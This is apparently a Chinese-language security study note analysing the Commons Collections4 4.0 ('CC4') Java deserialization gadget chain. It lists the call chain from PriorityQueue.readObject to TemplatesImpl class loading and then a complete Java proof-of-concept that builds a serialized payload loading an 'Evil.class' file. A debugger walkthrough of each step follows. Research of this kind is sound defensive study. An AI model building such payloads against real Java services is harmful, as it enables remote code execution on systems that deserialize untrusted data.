因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 不再继承 Serializable,导致无法序列化
同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口

环境

1
2
3
4
5
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
defineClass()->newInstance()
*/

分析

CC4不再依靠LazyMap.get()调用.transform()方法
而是用TransformingComparator.compare() 调用
后面就是 TemplatesImpl加载恶意类了
Pasted image 20231113163250.png

我们alt+f7查找谁调用compare(),找到PriorityQueue 优先队列类
Pasted image 20231113164019.png

这里有一个坑点是PriorityQueue.heapify()方法里
我们要进入循环执行siftDown()方法但是size的大小有条件的:(size>>>1)-1>=0
而2>>>1=1刚好满足,所以我们需要往队列里加两个元素

1
2
priorityQueue.add(1);
priorityQueue.add(2);

Pasted image 20231113164725.png

poc及过程分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","1vxyz");

byte[] code = Files.readAllBytes(Paths.get("D:\\JavaProject\\easyjava\\src\\main\\java\\com\\butler\\springboot14shiro\\Evil.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);

setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());


InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
//transformingComparator.compare(1,2);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

setFieldValue(transformingComparator,"transformer",chainedTransformer);
serialize(priorityQueue);
unserialize("sercc4.bin");
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc4.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}

首先unserialize进入PriorityQueue.readObject()
Pasted image 20231113165339.png

最后一行执行heapify(),也就是PriorityQueue.heapify()
Pasted image 20231113165402.png

进入循环执行PriorityQueue.siftDown()
Pasted image 20231113165425.png

我们在构造函数时传入了comparator,它是TransformingComparator类型的
Pasted image 20231113165535.png

因此执行 PriorityQueue.siftDownUsingComparator()
Pasted image 20231113165607.png

这里执行comparator.compare(),也就是TransformingComparator.compare()
Pasted image 20231113165721.png

这个transformer在构造函数时先传入了一个无用的new ConstantTransformer(1),后来又通过反射设置为了构造的恶意chainedTransformer
此时会执行 ChainedTransformer.transform()
后面和CC3一样了就
先 ChainedTransformer.transform()
第一次调用ConstantTransformer.transform()返回TrAXFilter.class
第二次调用InstantiateTransformer.transform(input),这个input是TrAXFilter.class
此时获取TrAXFilter的构造函数(Templates templates)
调用newInstance实例化这个TrAXFilter的构造器,传入的参数构造好的new Object[]{templates}
也就是调用了templates.newTransformer(),这个templates是TemplatesImpl类型的
也就是==TemplatesImpl.newTransformer()==
随后就是和CC3一样

1
2
3
4
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
Class#newInstance()